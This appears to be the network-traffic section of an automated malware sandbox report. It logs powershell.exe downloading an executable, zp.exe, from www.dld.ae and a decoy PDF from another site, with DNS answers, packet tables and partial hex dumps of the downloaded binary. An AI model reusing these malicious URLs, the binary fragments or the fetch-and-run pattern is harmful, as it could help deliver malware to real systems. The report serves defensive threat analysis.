Jun 1, 2023 12:14:28.798643112 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:28.846596956 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:28.846743107 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:29.014518023 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:29.014666080 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:29.182444096 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:29.182570934 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:29.350327969 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:29.350636005 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:29.518359900 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:29.518425941 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:29.686300039 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:29.686444044 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:29.854289055 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:29.854458094 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:30.022283077 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:30.022463083 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:30.190215111 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:30.190423012 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:30.358268976 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:30.358464956 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:30.526343107 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:30.526566029 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:30.694380999 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:30.694581985 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:30.862448931 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:30.998011112 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:31.165976048 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:31.310548067 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:31.478369951 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:31.685607910 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:31.853530884 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:31.998132944 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:32.166249037 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:32.295021057 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:32.463007927 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:32.513806105 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:32.681720972 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:32.810714006 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:32.978646040 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:33.185759068 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:33.353780031 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:33.498289108 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:33.666207075 CEST	80	49694	203.175.174.69	192.168.2.6
Jun 1, 2023 12:14:33.666409969 CEST	49694	80	192.168.2.6	203.175.174.69
Jun 1, 2023 12:14:34.504628897 CEST	49694	80	192.168.2.6	203.175.174.69

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 1, 2023 12:14:19.433432102 CEST	64601	53	192.168.2.6	8.8.8.8
Jun 1, 2023 12:14:19.474711895 CEST	53	64601	8.8.8.8	192.168.2.6
Jun 1, 2023 12:14:19.480092049 CEST	59575	53	192.168.2.6	8.8.8.8
Jun 1, 2023 12:14:19.508985996 CEST	53	59575	8.8.8.8	192.168.2.6
Jun 1, 2023 12:14:22.578489065 CEST	49786	53	192.168.2.6	8.8.8.8
Jun 1, 2023 12:14:22.606877089 CEST	53	49786	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jun 1, 2023 12:14:19.433432102 CEST	192.168.2.6	8.8.8.8	0x2e16	Standard query (0)	www.dld.ae	A (IP address)	IN (0x0001)	false
Jun 1, 2023 12:14:19.480092049 CEST	192.168.2.6	8.8.8.8	0x1286	Standard query (0)	www.dld.ae	A (IP address)	IN (0x0001)	false
Jun 1, 2023 12:14:22.578489065 CEST	192.168.2.6	8.8.8.8	0xc145	Standard query (0)	www.bluemaxxlaser.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jun 1, 2023 12:14:19.474711895 CEST	8.8.8.8	192.168.2.6	0x2e16	No error (0)	www.dld.ae	dld.ae		CNAME (Canonical name)	IN (0x0001)	false
Jun 1, 2023 12:14:19.474711895 CEST	8.8.8.8	192.168.2.6	0x2e16	No error (0)	dld.ae		84.16.234.51	A (IP address)	IN (0x0001)	false
Jun 1, 2023 12:14:19.508985996 CEST	8.8.8.8	192.168.2.6	0x1286	No error (0)	www.dld.ae	dld.ae		CNAME (Canonical name)	IN (0x0001)	false
Jun 1, 2023 12:14:19.508985996 CEST	8.8.8.8	192.168.2.6	0x1286	No error (0)	dld.ae		84.16.234.51	A (IP address)	IN (0x0001)	false
Jun 1, 2023 12:14:22.606877089 CEST	8.8.8.8	192.168.2.6	0xc145	No error (0)	www.bluemaxxlaser.com		203.175.174.69	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.dld.ae

www.bluemaxxlaser.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49693	84.16.234.51	443	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49694	203.175.174.69	80	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Jun 1, 2023 12:14:22.780630112 CEST	541	OUT	GET /rh/List%20of%20required%20items%20and%20services.pdf HTTP/1.1 Host: www.bluemaxxlaser.com Connection: Keep-Alive
Jun 1, 2023 12:14:22.948807001 CEST	543	IN	HTTP/1.1 200 OK Date: Thu, 01 Jun 2023 10:14:22 GMT Server: Apache Last-Modified: Sun, 28 May 2023 21:58:29 GMT Accept-Ranges: bytes Content-Length: 653248 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: 25 50 44 46 2d 31 2e 37 0d 25 e2 e3 cf d3 0d 0a 31 32 39 20 30 20 6f 62 6a 0d 3c 3c 2f 4c 69 6e 65 61 72 69 7a 65 64 20 31 2f 4c 20 36 35 33 32 34 38 2f 4f 20 31 33 31 2f 45 20 38 36 34 32 33 2f 4e 20 35 2f 54 20 36 35 32 37 37 30 2f 48 20 5b 20 34 39 37 20 32 37 33 5d 3e 3e 0d 65 6e 64 6f 62 6a 0d 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 31 34 33 20 30 20 6f 62 6a 0d 3c 3c 2f 44 65 63 6f 64 65 50 61 72 6d 73 3c 3c 2f 43 6f 6c 75 6d 6e 73 20 35 2f 50 72 65 64 69 63 74 6f 72 20 31 32 3e 3e 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 49 44 5b 3c 45 33 39 35 37 36 43 34 37 35 41 42 45 43 34 33 41 31 38 37 42 39 44 37 38 30 43 34 37 35 37 44 3e 3c 36 34 31 43 41 32 38 37 30 33 43 34 42 31 34 34 38 38 36 46 33 34 32 30 32 33 42 33 34 35 33 32 3e 5d 2f 49 6e 64 65 78 5b 31 32 39 20 33 38 5d 2f 49 6e 66 6f 20 31 32 38 20 30 20 52 2f 4c 65 6e 67 74 68 20 38 39 2f 50 72 65 76 20 36 35 32 37 37 31 2f 52 6f 6f 74 20 31 33 30 20 30 20 52 2f 53 69 7a 65 20 31 36 37 2f 54 79 70 65 2f 58 52 65 66 2f 57 5b 31 20 33 20 31 5d 3e 3e 73 74 72 65 61 6d 0d 0a 68 de 62 62 64 60 10 60 60 62 60 60 fe 04 22 19 3a 40 24 53 19 58 c4 06 44 1a 1d 05 8b 27 82 c8 6e 03 b0 6c 1b 88 64 ac 00 8b c7 02 49 46 77 66 b0 78 2d 88 d4 bb 02 24 ff 1f 34 66 60 02 9a 2c 08 56 c3 c0 38 00 e4 7f 06 c6 9c 37 40 f2 3f 3f 03 40 80 01 00 c4 3a 0e 4d 0d 0a 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 73 74 61 72 74 78 72 65 66 0d 0a 30 0d 0a 25 25 45 4f 46 0d 0a 20 20 20 20 20 20 20 0d 0a 31 36 35 20 30 20 6f 62 6a 0d 3c 3c 2f 43 20 31 38 30 2f 45 20 31 36 34 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 49 20 32 30 32 2f 4c 65 6e 67 74 68 20 31 36 37 2f 4f 20 31 32 36 2f 53 20 37 34 2f 56 20 31 34 32 3e 3e 73 74 72 65 61 6d 0d 0a 68 de 62 60 60 60 61 60 60 aa 64 60 65 60 48 88 67 10 62 40 00 21 06 66 a0 1c 0b 03 87 8b 03 0b 83 75 76 03 03 67 e0 d2 75 8b 0e 28 3b a4 70 30 f0 1c 32 91 68 e4 e8 40 16 05 ea d0 62 e0 bc b6 1a 48 f3 00 31 2f d8 8c 58 06 01 46 49 a6 fb 86 19 0c 2c 5d 97 19 35 19 a5 19 18 dc 96 31 2a e8 96 0b fe 64 d2 06 ab d0 66 e0 bc 69 0c a4 19 81 a8 12 48 eb 30 70 de 5a 03 e1 33 dd 85 bb 45 9f 81 f3 c9 2f 88 28 43 21 10 eb 32 70 de ed 04 d2 4c 0c 0c ec 85 70 55 46 0c 9c 5f be 43 55 bd 01 08 30 00 be 98 22 2e 0d 0a 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 31 33 30 20 30 20 6f 62 6a 0d 3c 3c 2f 41 63 72 6f 46 6f 72 6d 20 31 34 34 20 30 20 52 2f 4d 65 74 61 64 61 74 61 20 34 38 20 30 20 52 2f 4e 61 6d 65 73 20 31 34 35 20 30 20 52 2f 4f 75 74 6c 69 6e 65 73 20 31 30 33 20 30 20 52 2f 50 61 67 65 73 20 31 32 37 20 30 20 52 2f 53 74 72 75 63 74 54 72 65 65 52 6f 6f 74 20 31 31 37 20 30 20 52 2f 54 79 70 65 2f 43 61 74 61 6c 6f 67 3e 3e 0d 65 6e 64 6f 62 6a 0d 31 33 31 20 30 20 6f 62 6a 0d 3c 3c 2f 43 6f 6e 74 65 6e 74 73 20 31 33 32 20 30 20 52 2f 43 72 6f 70 42 6f 78 5b 30 20 30 20 35 39 35 2e 34 34 20 38 34 31 2e 36 38 5d 2f 47 72 6f 75 70 3c 3c 2f 43 53 2f 44 65 76 69 63 65 52 47 42 2f 53 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 2f 54 79 70 65 2f 47 72 6f 75 70 3e 3e 2f 4d 65 64 69 61 42 6f 78 5b 30 20 30 20 35 39 35 2e 34 34 20 38 34 31 Data Ascii: %PDF-1.7%129 0 obj<</Linearized 1/L 653248/O 131/E 86423/N 5/T 652770/H [ 497 273]>>endobj 143 0 obj<</DecodeParms<</Columns 5/Predictor 12>>/Filter/FlateDecode/ID[<E39576C475ABEC43A187B9D780C4757D><641CA28703C4B144886F342023B34532>]/Index[129 38]/Info 128 0 R/Length 89/Prev 652771/Root 130 0 R/Size 167/Type/XRef/W[1 3 1]>>streamhbbd```b``":@$SXD'nldIFwfx-$4f`,V87@??@:Mendstreamendobjstartxref0%%EOF 165 0 obj<</C 180/E 164/Filter/FlateDecode/I 202/Length 167/O 126/S 74/V 142>>streamhb```a``d`e`Hgb@!fuvgu(;p02h@bH1/XFI,]51*dfiH0pZ3E/(C!2pLpUF_CU0".endstreamendobj130 0 obj<</AcroForm 144 0 R/Metadata 48 0 R/Names 145 0 R/Outlines 103 0 R/Pages 127 0 R/StructTreeRoot 117 0 R/Type/Catalog>>endobj131 0 obj<</Contents 132 0 R/CropBox[0 0 595.44 841.68]/Group<</CS/DeviceRGB/S/Transparency/Type/Group>>/MediaBox[0 0 595.44 841
Jun 1, 2023 12:14:22.948837996 CEST	544	IN	Data Raw: 2e 36 38 5d 2f 50 61 72 65 6e 74 20 31 32 37 20 30 20 52 2f 52 65 73 6f 75 72 63 65 73 3c 3c 2f 45 78 74 47 53 74 61 74 65 3c 3c 2f 47 53 30 20 31 34 36 20 30 20 52 3e 3e 2f 46 6f 6e 74 3c 3c 2f 43 32 5f 30 20 31 35 31 20 30 20 52 2f 43 32 5f 31 Data Ascii: .68]/Parent 127 0 R/Resources<</ExtGState<</GS0 146 0 R>>/Font<</C2_0 151 0 R/C2_1 153 0 R/C2_2 158 0 R/TT0 161 0 R/TT1 164 0 R>>/ProcSet[/PDF/Text/ImageC]/XObject<</Im0 141 0 R/Im1 142 0 R>>>>/Rotate 0/StructParents 0/Tabs/S/Type/Page>>endob
Jun 1, 2023 12:14:22.948864937 CEST	545	IN	Data Raw: 4e 5a c8 f5 22 96 52 50 da 90 e3 bb 5d 72 b5 4b ed e2 2e 62 75 a8 57 bc e4 52 97 2f 95 20 b9 12 9a e4 a2 e4 5a 44 2e 5d c4 e6 e4 fe ab af 36 4f 1f 7f b1 f9 76 77 fd 3f 32 96 97 ff 92 bf b7 17 5f 6e 9e fe 20 05 7f bc 79 7d fb e6 ea e6 ad 64 ff fa Data Ascii: NZ"RP]rK.buWR/ ZD.]6Ovw?2_n y}dHzf/\|{^>QnVA)kA\|o^_?_7/y?_wrfw'jvo>~w_n^_8kxO_$
Jun 1, 2023 12:14:22.948890924 CEST	547	IN	Data Raw: 98 e3 7b 45 e8 55 49 51 58 fe 21 85 28 f5 64 55 9a b0 b2 d1 be 7e 23 ea 37 64 15 f9 de 22 b1 af 23 ad fb dc 2a 26 42 fb db 8e fb 8b be ce fd 1c 7d 3c d1 3f f6 43 da c5 7b a8 83 b3 30 cf 9c 2c 1a 13 16 40 16 22 b8 7a 6f 76 b3 28 64 9f 9a 22 37 41 Data Ascii: {EUIQX!(dU~#7d"#*&B}<?C{0,@"zov(d"7Ai{fXeN>]}\|%CZl1qKIj"uP1r\|(4[T\|8qM101Kc`9ZW}`b5ETkD A+>6wKo
Jun 1, 2023 12:14:22.948914051 CEST	548	IN	Data Raw: 7c ea fb a7 ae 63 4d 96 38 12 15 26 db 47 d3 ec 40 86 39 f4 44 82 13 f9 54 aa c4 0a c1 84 d6 8e d2 39 3c 53 0b 8e 89 c0 b2 07 ff 96 52 dd a9 44 75 1c bc 05 ba ce a9 f4 e0 d7 2b 93 77 d4 63 30 df c2 1d 90 28 00 7f 24 61 2e 7a 41 bf 41 19 8c 85 7d Data Ascii: \|cM8&G@9DT9<SRDu+wc0($a.zAA}4I=hJ(z6m}FL~dIu,`hF:Wc$gh8OO>UjGA=03^mh!)f#i%^NCjK6&w%d
Jun 1, 2023 12:14:22.948937893 CEST	549	IN	Data Raw: 46 98 0c 20 2f 3d cf e6 0f 88 3e 8c cb 1e 86 8c d9 4a 8d 08 71 4f f9 03 1d 16 9d 8d 7b eb 48 79 1c 7b 62 99 ba bb ff ec 63 e9 14 50 af 1a 88 cf a9 da 8c a4 71 1b 89 89 d2 8a d7 7d f8 b1 34 c2 18 08 f2 58 e4 cf 2a 76 2b 00 d7 39 e8 f4 39 a8 f4 d9 Data Ascii: F /=>JqO{Hy{bcPq}4Xv+99Q,3on bby( &)9l,"/Gf9Awfx8w3l}@/9`LJvU*42TH3t2uPP'E`tayk~14[{a:Od
Jun 1, 2023 12:14:22.948962927 CEST	551	IN	Data Raw: d9 5a 26 e9 5a ea 5b 9f f2 54 d5 b3 20 79 d4 e9 64 02 42 9f 26 0d 68 2f 64 e1 20 b4 0c 48 27 e6 57 63 00 22 a1 1b 3a 31 b0 90 fa a2 8b e6 4b 9c e6 39 4f 83 f1 d0 0a b4 85 e8 ea ab f6 cf 0b 2b f7 d5 fc d2 35 a1 1f b2 a1 ca 04 86 a0 30 73 a9 db 94 Data Ascii: Z&Z[T ydB&h/d H'Wc":1K9O+50sxjhA\|c~OM',/bnB_ D0qNR8\UE9E^}zAox>;1lc/E##,wMrqRb{57/O#\|?Nx#:"Qsxm
Jun 1, 2023 12:14:22.948987961 CEST	552	IN	Data Raw: 5d e4 44 49 b2 f5 43 4f 45 41 72 34 26 17 0d 58 75 b2 dd c7 56 1d 5b 44 b8 02 4a 7c b0 16 20 19 22 04 11 df b2 be ae ae 5b 93 de c0 7f 80 09 74 0c 7f 0e d0 c4 e5 02 3e 13 ea 28 a1 31 b6 b3 84 16 e4 e8 ad 04 9a 98 23 4a 85 c1 1e f4 2e 59 09 ac 45 Data Ascii: ]DICOEAr4&XuV[DJ\| "[t>(1#J.YEl>$GZ!8.=8d+JK(iR1CHRyS1_05YNwkOr1LgRp(AHB]9TJM"U"~qT
Jun 1, 2023 12:14:22.949017048 CEST	553	IN	Data Raw: 2e b7 ae c8 00 8f c8 4a f9 1b b3 0d 5f 51 55 7b 22 91 da ad cc 51 18 1a 61 63 c7 17 36 0a df 9d 9d 2d 58 29 a8 26 76 cc 2b 9c 47 0c a1 05 ae 06 0a 03 82 c4 00 db 85 db 30 12 b1 27 0d c0 db 07 ab 04 85 d0 1e 84 a4 f7 84 c7 70 6c 05 e0 75 01 6d 82 Data Ascii: .J_QU{"Qac6-X)&v+G0'plum.XURY%\.CgxS2'3" Qd2LrC8_#:bhn5,,d00~c=y<6'??-X2+qat+L@l8=I'iwy<q
Jun 1, 2023 12:14:22.949047089 CEST	555	IN	Data Raw: 2d 58 8b 25 d3 a6 94 33 1e cb cc 41 8f 42 03 92 f1 13 4c a5 09 8c 5c b6 21 5c 04 b0 16 47 f4 04 ef 02 f7 13 35 fe 0a f8 a7 84 6b ee f6 1c 81 72 68 12 a7 0a 2a 13 ad fb 5d d4 e6 48 f8 40 07 9a 0d 30 36 e0 2b 3b 33 11 7f 49 63 38 e1 e5 0d 70 f3 c2 Data Ascii: -X%3ABL\!\G5krh*]H@06+;3Ic8p!V X(hFFP6gC5W#6j@NP$RXYa9BWy>@-6NVtZ180 sjzxS4t<F2a:Z$M5&
Jun 1, 2023 12:14:23.116688013 CEST	556	IN	Data Raw: 37 57 fe 55 1b 38 c8 06 71 4b e0 39 24 1b 0c 40 52 49 1f 15 9a 3a e7 24 23 aa 11 e0 e6 00 13 e3 b3 63 3f d0 ab 1b 0e fb 01 8e b3 32 b6 55 67 17 c6 5e c0 54 16 1a 54 b3 6e 77 ec 01 80 8c 9b a7 cd 94 4e d4 aa 70 ec d1 e6 d8 5b dc 47 a8 07 3d b9 d9 Data Ascii: 7WU8qK9$@RI:$#c?2Ug^TTnwNp[G=~YOyb7fE+5IT$0D_%AJu'>q/nNLa!0q#@w4aSDA"/\|KF8lJL

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49693	84.16.234.51	443	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
2023-06-01 10:14:19 UTC	0	OUT	GET /zp/zp.exe HTTP/1.1 Host: www.dld.ae Connection: Keep-Alive
2023-06-01 10:14:19 UTC	0	IN	HTTP/1.1 200 OK Date: Thu, 01 Jun 2023 10:14:19 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sun, 28 May 2023 22:20:31 GMT Accept-Ranges: bytes Content-Length: 535909 Content-Type: application/x-msdownload
2023-06-01 10:14:19 UTC	0	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 70 85 3a 75 11 eb 69 75 11 eb 69 75 11 eb 69 b6 1e b4 69 77 11 eb 69 75 11 ea 69 eb 11 eb 69 b6 1e b6 69 64 11 eb 69 21 32 db 69 7f 11 eb 69 b2 17 ed 69 74 11 eb 69 52 69 63 68 75 11 eb 69 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 98 d7 6f 53 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 5c 00 00 00 cc 01 00 00 04 00 00 17 32 00 00 00 10 00 00 00 70 00 00 00 00 40 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1p:uiuiuiiwiuiiidi!2iiitiRichuiPELoS\2p@
2023-06-01 10:14:19 UTC	8	IN	Data Raw: 55 8b ec 8d 45 08 50 a1 90 37 42 00 0b 45 08 50 6a 00 6a 22 e8 dd fe ff ff 50 a1 b0 a7 40 00 ff 70 04 e8 c4 ff ff ff 50 ff 15 04 70 40 00 f7 d8 1b c0 f7 d0 23 45 08 5d c2 04 00 55 8b ec 83 ec 40 81 7d 0c 10 01 00 00 75 19 6a 00 68 fa 00 00 00 6a 01 ff 75 08 ff 15 30 72 40 00 c7 45 0c 13 01 00 00 81 7d 0c 13 01 00 00 75 45 e8 46 00 00 00 83 3d f0 36 42 00 00 b9 3c 90 40 00 75 05 b9 20 90 40 00 50 8d 45 c0 51 50 ff 15 38 72 40 00 83 c4 0c 8d 45 c0 50 ff 75 08 ff 15 6c 72 40 00 8d 45 c0 50 68 06 04 00 00 ff 75 08 e8 18 29 00 00 33 c0 c9 c2 10 00 8b 0d 88 68 41 00 a1 98 e8 41 00 3b c8 7c 02 8b c8 50 6a 64 51 ff 15 48 71 40 00 c3 55 8b ec 83 ec 40 56 33 f6 39 75 08 74 18 a1 94 68 41 00 3b c6 74 07 50 ff 15 28 72 40 00 89 35 94 68 41 00 eb 76 39 35 94 68 41 00 Data Ascii: UEP7BEPjj"P@pPp@#E]U@}ujhju0r@E}uEF=6B<@u @PEQP8r@EPulr@EPhu)3hAA;\|PjdQHq@U@V39uthA;tP(r@5hAv95hA
2023-06-01 10:14:19 UTC	15	IN	Data Raw: 8b 04 b8 3b c3 74 27 83 ff 20 74 03 89 5d f4 50 53 e8 a3 12 00 00 50 53 68 43 01 00 00 ff 75 f8 ff d6 57 50 68 51 01 00 00 ff 75 f8 ff d6 47 83 ff 21 7c c9 8b 7d 14 8b 5d f4 ff 74 9f 30 6a 15 ff 75 08 e8 3d f5 ff ff ff 74 9f 34 6a 16 ff 75 08 e8 2f f5 ff ff 33 ff 33 db 39 3d 0c 37 42 00 0f 8e c4 00 00 00 8b 45 f0 8d 50 08 89 55 e8 8d 42 10 80 38 00 0f 84 90 00 00 00 89 45 c8 8b 02 6a 20 8b d0 59 89 5d b0 23 d1 c7 45 b4 02 00 ff ff a8 02 c7 45 b8 0d 00 00 00 89 4d c4 89 7d dc 89 55 c0 74 38 8d 45 b0 c7 45 b8 4d 00 00 00 50 6a 00 68 00 11 00 00 c7 45 d8 01 00 00 00 ff 75 fc ff d6 8b 0d d8 fc 41 00 c7 45 e4 01 00 00 00 89 04 b9 a1 d8 fc 41 00 8b 1c b8 eb 2e a8 04 74 11 53 6a 03 68 0a 11 00 00 ff 75 fc ff d6 8b d8 eb 19 8d 45 b0 50 6a 00 68 00 11 00 00 ff 75 Data Ascii: ;t' t]PSPShCuWPhQuG!\|}]t0ju=t4ju/339=7BEPUB8Ej Y]#EEM}Ut8EEMPjhEuAEA.tSjhuEPjhu
2023-06-01 10:14:19 UTC	23	IN	Data Raw: f0 08 0f b6 09 ff 4d 94 c1 e0 08 0b c1 ff 45 90 89 45 f4 8b 85 7c ff ff ff 89 85 78 ff ff ff e9 91 f7 ff ff 83 7d c0 00 75 1c 8b 45 b4 8b 4d a8 c1 e0 04 c7 45 d0 08 00 00 00 8d 84 01 04 01 00 00 e9 38 ff ff ff 81 45 a8 04 02 00 00 c7 45 d0 10 00 00 00 c7 45 c0 08 00 00 00 c7 45 84 14 00 00 00 8b 45 c0 c7 45 b0 01 00 00 00 89 45 b8 eb 28 83 7d 94 00 0f 84 32 01 00 00 8b 4d 90 8b 45 f4 c1 65 f0 08 0f b6 09 ff 4d 94 c1 e0 08 0b c1 ff 45 90 89 45 f4 ff 4d b8 83 7d b8 00 7e 5e 8b 45 b0 8b 4d f0 c1 e9 0b 8d 14 00 8b 45 a8 8d 34 02 89 75 ac 66 8b 06 0f b7 f8 0f af cf 39 4d f4 73 17 89 4d f0 b9 00 08 00 00 2b cf c1 f9 05 03 c8 d1 65 b0 66 89 0e eb 16 29 4d f0 29 4d f4 66 8b c8 66 c1 e9 05 2b c1 42 66 89 06 89 55 b0 81 7d f0 00 00 00 01 73 9e e9 74 ff ff ff 8b 4d Data Ascii: MEE\|x}uEME8EEEEEEE(}2MEeMEEM}~^EME4uf9MsM+ef)M)Mff+BfU}stM
2023-06-01 10:14:19 UTC	31	IN	Data Raw: 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-06-01 10:14:19 UTC	39	IN	Data Raw: b0 a4 a4 a4 b0 9e a4 a4 b0 a4 a4 a4 9e a4 a4 a4 b0 a4 a4 a4 b0 a4 a4 a4 b0 a4 a4 a4 b0 a4 a4 a4 b0 a4 a4 a4 b0 a4 a4 a4 b0 a4 a4 a4 b0 a4 a4 a4 b0 a4 a4 a4 b0 a4 a4 9e b0 a4 a4 a4 b0 a4 a4 a4 af a4 a4 a4 af a4 a4 a4 ae a4 a4 a4 ac a4 a4 a4 a9 a4 a4 a4 a6 a4 a4 a4 a2 a4 a4 a4 9e 9e a4 a4 9a a4 a4 a4 96 a4 a4 a4 94 a4 a4 a4 92 a4 a4 a4 91 a4 a4 a4 90 a4 a4 a4 90 a4 a4 a4 90 a4 a4 a4 90 a4 a4 a4 90 a4 a4 a4 90 a4 a4 a4 90 a4 a4 a4 90 a4 a4 a4 8f a4 a4 a4 8e a4 a4 a4 8c a4 a4 a4 89 a4 a4 a4 85 a4 a4 a4 81 a4 a4 a4 7d a4 a4 a4 79 a4 a4 a4 75 a4 a4 a4 72 a4 a4 a4 70 a4 a4 9e 6f a4 a4 a4 6e a4 a4 a4 6e a4 a4 a4 6c a4 a4 a4 6a a4 a4 a4 68 a4 a4 a4 64 a4 a4 a4 60 a4 a4 a4 5c a4 a4 a4 58 a4 a4 a4 54 a4 a4 a4 51 a4 a4 a4 4f a4 a4 a4 4c a4 a4 a4 49 a4 a4 a4 46 a4 a4 Data Ascii: }yurponnljhd`\XTQOLIF
